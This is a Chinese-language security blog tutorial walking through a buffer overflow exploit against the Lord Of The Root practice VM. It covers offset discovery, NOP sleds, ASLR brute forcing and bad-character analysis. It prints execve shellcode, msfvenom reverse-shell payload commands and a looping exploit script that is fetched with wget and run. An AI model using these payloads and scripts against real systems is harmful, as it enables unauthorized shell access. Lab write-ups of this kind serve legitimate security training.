freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

缓冲区溢出-实例分析
2022-04-29 14:26:56
所属地 山西省

本文我们通过Lord Of The Root-1.0.1靶机中的缓冲区溢出漏洞进行实例分析,靶机可在vulhub中进行下载.该靶场存在缓冲区溢出,并且有两层防护机制,缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

方法一

/SECRET/door2/file

/SECRET/door1/file

/SECRET/door3/file

之前枚举到这三个文件中含有缓冲区溢出,root目录下还有防护策略.

ls -lahR

可以看到SECRET目录下的三个子目录,里面各有一个file,注意,间隔了几分钟后,我们再次查看,发现文件大小发生了变化。

一开始door3中的file大小为5.1k。

现在door2中的file为5.1k,同时使用ldd命令查看file ldd(查看依赖情况)。

在不断发生变化,这个是因为存在一个防护机制ASLR。

我们查看ASLR设置:

cat /proc/sys/kernel/randomize_va_space

或者:

sysctl -a --pattern randomize

返回2

0 = 关闭

1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)

2 = 全随机。除了1中所述,还有heap。

如果没有设置ASLR的话,ldd看到的值也都是固定的。

注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大。

绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来。

现在的情况就是,缓冲区溢出的文件随机,空间也随机。

对于溢出来说,有几个点:

首先,溢出的点在哪里(偏移量/溢出值)

溢出后,后面的空间有多大,放合适的恶意代码进去

绕过安全保护机制

首先我们找到那个5.1k的file,然后把他搞到kali里面。

我这里直接base64编码复制出来。

base64 file

放到本地的一个文本中,并且复原成file。

cat base64.txt | base64 -d > file

此时在确定file是5.1k的情况下查看md5值,与kali里的进行对比。

确认两个值一致,然后我们开始分析这个file。

使用GDB进行分析!下面两个插件比较好用。

安装pwndbg

记得更新kali源:https://blog.csdn.net/weixin_42380348/article/details/89959761

source /root/Desktop/6/pwndbg/gdbinit.py

git clone https://github.com/pwndbg/pwndbg

cd pwndbg

sudo ./setup.sh

这里一定要更新源,在用代理更新下载!如果要修改就执行:

vi ~/.gdbinit---用哪个就注释即可

安装peda

git clone https://github.com/longld/peda.git~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

调试file

我们现在测试一些file到底是否存在溢出

授予权限并尝试执行

chmod +x file

显示给一个值

./file aaaaaaaaaaaaa

回显正常,把值加大

./file $(python -c 'print "A" * 2000')

回显段错误

查找一个脚本

locate pattern_

这两个脚本是专门用作缓冲区溢出查找偏移量的。

生成1000位值

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

使用GDB执行值

run就是执行

gdb file

run Aa0A.........

这两个工具是对应的,识别溢出点,上面脚本的找到错误点,下面的脚本找到位置:

0x41376641 in ?? ()

查看到错误点在41376641。

分析错误点判断偏移量

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

在171的位置

尝试在偏移量171溢出后情况:

r $(python -c 'print "A" * 171 + "B" * 4')

在溢出后的位置写入BBBB。

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。

可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

Nop空间测试ESP

由于开启了ASLR机制,需要进行nop sled来爆破一个空间出来:

run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')

写入171个A之后,写入4个B,之后写入90。

ESP就是我们溢出之后执行shellcode的地方。

x/s $esp

0xffffc810: '\220' <repeats 200 times>...

这时候ESP变了,指向了ffffc810地址,这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell,那么接下来就是要爆破,nop sled被访问。

恶意payload

peda help shellcode–-- 关于 shellcode 的帮助

shellcode search exec–-- 如何使用 'exec' 搜索所有 shellcode。

我们这里使用841。

shellcode display 841–-- 显示找到的代码的来源


上面的部分是注释,下面的部分是代码:

shellcode generate x86/linux exec--– 生成代码

shellcode = (

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"

"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

)

检查文件是否做了安全措施

checksec

这个就是ESP的地址,注意要倒序

0x ffffc860

ff ff c8 60

\x60\xc8\xff\xff

增加nop sled被访问机会

可以增加10000....

run $(python -c 'print "A" * 171 + "\x60\xc8\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

可以拿到一个shell

for循环爆破找nop碰撞执行shell

for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\xa0\x64\x8b\xbf" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done

如果文件在几分钟后随机变动了,不在该目录底下,在没有for循环nop拿到shell后,又得跑到溢出file的目录下载执行一次for,很麻烦!

方法二

https://blog.csdn.net/missmxr/article/details/121451920

进入door1,只有file文件,尝试分析猜测文件

objdump -d --no-show-raw-insn file ---查看可执行函数的十六进制显示file

strings file

查看door2,door3目录,都只有file文件,但是分析时发现door2下的file存在strcpy!

参考百度百科熟悉strcpy:

https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453?fr=aladdin

https://blog.csdn.net/weixin_30709635/article/details/99100913

msf生成1000字符串,使用gdb调试

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

gdb file

run ....

查找溢出位置

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

溢出位置为171!验证下eip的内容!

如果存在溢出,肯定要写入恶意代码,那么有没有写入的权限程序,往下查看!

vmmap查看信息 栈溢出

STACK:栈,用来保存函数运行时的临时变量等

HEAP:堆,一般是主动编写代码来分配和回收堆内存

CODE: 代码段,是用来存放代码的

DATA:数据段,一般用来存放全局变量

参考:https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/

验证EIP

r $(python -c 'print "A"*171 + "B"*4 + "C"*20')

验证ESP

x/20b $esp

存在c的,那么确认坏字符!

确认坏字符

缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00

现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:

---------

#!/usr/bin/env python

from __future__ import print_function

for x in range(1, 256):

print("\\x" + "{:02x}".format(x), end='')

print()

---------

r $(python -c 'print "A"*171 + "B"*4 + ""')

x/256x $esp ---如果出问题就x和b换用

能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:

好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。

注意:这一定要仔细看,因为看少了看错了都会导致msf的payload执行不成功!

重新来,去掉0x09、0x0a和0x20:

坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00)

msf生成payload

-----------

windows:

msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -v

Linux:

msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c

linux2:

msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

payload:

-a 框架选择

-p 载荷类型

LHOST 本机地址

LPORT

-b 坏字符

-e 要使用的编码器

-f 编译的语言

-c 指定要包含的附加 win32 shellcode 文件

-v 载荷的名称

------------

查看jmp

最后需要看看是否有调用jmp到es(因为我们无法控制 eax),查看能够更好的控制漏洞利用的过程,防止不成功。

objdump -D file | grep -P 'jmp|call' | grep esp

回显esp,不需要jmp做跳板到shellcode,接下来绕过就是用大量的nop即可!

bash执行shell

"\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"

------

0xbf96b590

bf 96 b5 90

\x90\xb5\x96\xbf

#!/bin/bash

while true; do

$(find /SECRET -type f -size 5150c) $(python -c 'print "A"*171 + "\x90\xb5\x96\xbf" + "\x90"*20000 + "\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"') 2> /dev/null

sleep 1

done

ls -la ---查看文件大小

-size ---表示文件大小

-type ---文件类型

f 普通文件

-------

wget http://10.211.55.19:8081/exp.sh

chmod +x exp.sh

./exp.sh

成功!!

# 缓冲区溢出
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录